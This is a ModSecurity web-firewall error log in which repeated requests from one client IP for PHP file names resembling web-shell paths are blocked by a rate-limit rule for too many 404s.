[Sun Dec 28 19:58:52.893977 2025] [:error] [pid 43789:tid 43814] [client 4.193.233.56:16663] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aVEbfAa-tUppni4CcCY0lwAAARc"]
[Sun Dec 28 19:58:53.138856 2025] [:error] [pid 42292:tid 42317] [client 4.193.233.56:15492] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aVEbfZyOrM_vaFx1osZK5QAAABU"]
[Sun Dec 28 19:58:53.475847 2025] [:error] [pid 42293:tid 42343] [client 4.193.233.56:15566] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aVEbfcvc9B-5cwN385LoEAAAAFQ"]
[Sun Dec 28 19:58:53.847642 2025] [:error] [pid 43789:tid 43805] [client 4.193.233.56:16701] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aVEbfQa-tUppni4CcCY0nAAAAQ4"]
[Sun Dec 28 19:58:54.243358 2025] [:error] [pid 42292:tid 42300] [client 4.193.233.56:15574] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aVEbfpyOrM_vaFx1osZK5gAAAAQ"]
[Sun Dec 28 19:58:54.466241 2025] [:error] [pid 42292:tid 42315] [client 4.193.233.56:15563] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "aVEbfpyOrM_vaFx1osZK5wAAABM"]
[Sun Dec 28 19:58:54.723014 2025] [:error] [pid 42294:tid 42357] [client 4.193.233.56:16720] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "aVEbftTE5kYcYCOzl9G_DAAAAIc"]
[Sun Dec 28 19:58:54.981260 2025] [:error] [pid 29388:tid 29400] [client 4.193.233.56:15555] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "aVEbftoLv2L2zI_SpdXhOgAAAUQ"]
[Sun Dec 28 19:58:55.220536 2025] [:error] [pid 42292:tid 42313] [client 4.193.233.56:16732] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "aVEbf5yOrM_vaFx1osZK6AAAABE"]
[Sun Dec 28 19:58:55.732600 2025] [:error] [pid 42378:tid 42389] [client 4.193.233.56:16677] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aVEbfzgtcN-KHAjWrX8bqgAAAMk"]
[Sun Dec 28 19:58:56.104113 2025] [:error] [pid 42294:tid 42352] [client 4.193.233.56:15538] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aVEbgNTE5kYcYCOzl9G_DQAAAII"]
[Sun Dec 28 19:58:56.333697 2025] [:error] [pid 42378:tid 42396] [client 4.193.233.56:15519] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aVEbgDgtcN-KHAjWrX8brAAAANA"]
[Sun Dec 28 19:58:56.574023 2025] [:error] [pid 42378:tid 42388] [client 4.193.233.56:16662] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aVEbgDgtcN-KHAjWrX8brwAAAMg"]
[Sun Dec 28 19:58:57.074296 2025] [:error] [pid 29388:tid 29406] [client 4.193.233.56:15558] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atex1.php"] [unique_id "aVEbgdoLv2L2zI_SpdXhPgAAAUo"]
[Sun Dec 28 19:58:57.293170 2025] [:error] [pid 29388:tid 29403] [client 4.193.233.56:15577] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atex1.php"] [unique_id "aVEbgdoLv2L2zI_SpdXhPwAAAUc"]
[Sun Dec 28 19:58:57.642467 2025] [:error] [pid 42294:tid 42366] [client 4.193.233.56:15576] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atex1.php"] [unique_id "aVEbgdTE5kYcYCOzl9G_EAAAAJA"]
[Sun Dec 28 19:58:57.894784 2025] [:error] [pid 29436:tid 29444] [client 4.193.233.56:15564] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atex1.php"] [unique_id "aVEbgbchzOOtNL9VPNLwfAAAAYU"]
[Sun Dec 28 19:58:58.283183 2025] [:error] [pid 43789:tid 43799] [client 4.193.233.56:16694] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4x.php"] [unique_id "aVEbgga-tUppni4CcCY0oAAAAQg"]
[Sun Dec 28 19:58:58.551820 2025] [:error] [pid 43789:tid 43808] [client 4.193.233.56:16760] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4x.php"] [unique_id "aVEbgga-tUppni4CcCY0oQAAARE"]
[Sun Dec 28 19:58:59.003586 2025] [:error] [pid 42292:tid 42296] [client 4.193.233.56:15496] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4x.php"] [unique_id "aVEbg5yOrM_vaFx1osZK7QAAAAA"]
[Sun Dec 28 19:58:59.525399 2025] [:error] [pid 42293:tid 42331] [client 4.193.233.56:15426] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4x.php"] [unique_id "aVEbg8vc9B-5cwN385LoFQAAAEg"]
[Sun Dec 28 19:59:00.203460 2025] [:error] [pid 42294:tid 42367] [client 4.193.233.56:15554] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aVEbhNTE5kYcYCOzl9G_FAAAAJE"]
[Sun Dec 28 19:59:00.529794 2025] [:error] [pid 29388:tid 29414] [client 4.193.233.56:16681] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aVEbhNoLv2L2zI_SpdXhTAAAAVI"]
[Sun Dec 28 19:59:00.845386 2025] [:error] [pid 42378:tid 42390] [client 4.193.233.56:15511] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aVEbhDgtcN-KHAjWrX8bsgAAAMo"]
[Sun Dec 28 19:59:01.268468 2025] [:error] [pid 42378:tid 42383] [client 4.193.233.56:16759] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aVEbhTgtcN-KHAjWrX8bswAAAMM"]
[Sun Dec 28 19:59:01.605741 2025] [:error] [pid 42378:tid 42382] [client 4.193.233.56:15524] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xopvne.php"] [unique_id "aVEbhTgtcN-KHAjWrX8btQAAAMI"]
[Sun Dec 28 19:59:01.936754 2025] [:error] [pid 42292:tid 42297] [client 4.193.233.56:16646] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xopvne.php"] [unique_id "aVEbhZyOrM_vaFx1osZK9QAAAAE"]
[Sun Dec 28 19:59:02.248022 2025] [:error] [pid 42292:tid 42313] [client 4.193.233.56:15578] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xopvne.php"] [unique_id "aVEbhpyOrM_vaFx1osZK-QAAABE"]
[Sun Dec 28 19:59:02.697788 2025] [:error] [pid 42378:tid 42391] [client 4.193.233.56:15612] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xopvne.php"] [unique_id "aVEbhjgtcN-KHAjWrX8btwAAAMs"]
[Sun Dec 28 19:59:03.111505 2025] [:error] [pid 42292:tid 42306] [client 4.193.233.56:15533] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "aVEbh5yOrM_vaFx1osZK-wAAAAo"]
[Sun Dec 28 19:59:03.381987 2025] [:error] [pid 42378:tid 42396] [client 4.193.233.56:15488] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "aVEbhzgtcN-KHAjWrX8buAAAANA"]
[Sun Dec 28 19:59:03.606450 2025] [:error] [pid 42378:tid 42385] [client 4.193.233.56:15445] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "aVEbhzgtcN-KHAjWrX8buQAAAMU"]
[Sun Dec 28 19:59:03.784145 2025] [:error] [pid 42293:tid 42325] [client 4.193.233.56:15606] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "aVEbh8vc9B-5cwN385LoGAAAAEI"]
[Sun Dec 28 19:59:04.054878 2025] [:error] [pid 42378:tid 42397] [client 4.193.233.56:15494] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aVEbiDgtcN-KHAjWrX8buwAAANE"]
[Sun Dec 28 19:59:04.630569 2025] [:error] [pid 29388:tid 29398] [client 4.193.233.56:16704] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aVEbiNoLv2L2zI_SpdXhTgAAAUI"]
[Sun Dec 28 19:59:04.909355 2025] [:error] [pid 42378:tid 42387] [client 4.193.233.56:15502] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aVEbiDgtcN-KHAjWrX8bvgAAAMc"]
[Sun Dec 28 19:59:05.120208 2025] [:error] [pid 42294:tid 42353] [client 4.193.233.56:16693] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aVEbidTE5kYcYCOzl9G_FgAAAIM"]
[Sun Dec 28 19:59:05.467887 2025] [:error] [pid 29437:tid 29470] [client 4.193.233.56:16686] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aVEbiRhDotAbVk6pZLfFSQAAAcQ"]
[Sun Dec 28 19:59:05.731438 2025] [:error] [pid 29388:tid 29401] [client 4.193.233.56:15518] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aVEbidoLv2L2zI_SpdXhTwAAAUU"]
[Sun Dec 28 19:59:06.055299 2025] [:error] [pid 42378:tid 42398] [client 4.193.233.56:16690] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aVEbijgtcN-KHAjWrX8bvwAAANI"]
[Sun Dec 28 19:59:06.292491 2025] [:error] [pid 43789:tid 43793] [client 4.193.233.56:15593] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aVEbiga-tUppni4CcCY0owAAAQI"]
[Sun Dec 28 19:59:06.571949 2025] [:error] [pid 42294:tid 42370] [client 4.193.233.56:16731] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kao.php"] [unique_id "aVEbitTE5kYcYCOzl9G_GQAAAJQ"]
[Sun Dec 28 19:59:06.863490 2025] [:error] [pid 29388:tid 29402] [client 4.193.233.56:15561] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kao.php"] [unique_id "aVEbitoLv2L2zI_SpdXhUgAAAUY"]
[Sun Dec 28 19:59:11.087215 2025] [:error] [pid 42292:tid 42299] [client 4.193.233.56:16678] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/budmachine/web/s.php"] [unique_id "aVEbj5yOrM_vaFx1osZLEAAAAAM"]
[Sun Dec 28 19:59:11.319262 2025] [:error] [pid 29388:tid 29401] [client 4.193.233.56:15503] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/budmachine/web/s.php"] [unique_id "aVEbj9oLv2L2zI_SpdXhYgAAAUU"]
[Sun Dec 28 19:59:11.568545 2025] [:error] [pid 42293:tid 42331] [client 4.193.233.56:16705] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/budmachine/web/s.php"] [unique_id "aVEbj8vc9B-5cwN385LoIQAAAEg"]
[Sun Dec 28 19:59:11.859595 2025] [:error] [pid 42293:tid 42326] [client 4.193.233.56:15587] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/budmachine/web/s.php"] [unique_id "aVEbj8vc9B-5cwN385LoIgAAAEM"]
[Sun Dec 28 19:59:12.145801 2025] [:error] [pid 42294:tid 42363] [client 4.193.233.56:15508] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aVEbkNTE5kYcYCOzl9G_IgAAAI0"]
[Sun Dec 28 19:59:12.484177 2025] [:error] [pid 42293:tid 42324] [client 4.193.233.56:15583] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aVEbkMvc9B-5cwN385LoJQAAAEE"]
[Sun Dec 28 19:59:12.860633 2025] [:error] [pid 42294:tid 42354] [client 4.193.233.56:15495] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aVEbkNTE5kYcYCOzl9G_JAAAAIQ"]
[Sun Dec 28 19:59:13.295131 2025] [:error] [pid 42292:tid 42312] [client 4.193.233.56:15550] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aVEbkZyOrM_vaFx1osZLEQAAABA"]
[Sun Dec 28 19:59:13.759231 2025] [:error] [pid 29388:tid 29407] [client 4.193.233.56:15449] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aVEbkdoLv2L2zI_SpdXhawAAAUs"]
[Sun Dec 28 19:59:14.270187 2025] [:error] [pid 42294:tid 42364] [client 4.193.233.56:15596] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aVEbktTE5kYcYCOzl9G_JwAAAI4"]
[Sun Dec 28 19:59:14.613596 2025] [:error] [pid 42293:tid 42334] [client 4.193.233.56:16722] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aVEbksvc9B-5cwN385LoKAAAAEs"]
[Sun Dec 28 19:59:14.985921 2025] [:error] [pid 42293:tid 42335] [client 4.193.233.56:15585] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aVEbksvc9B-5cwN385LoKwAAAEw"]
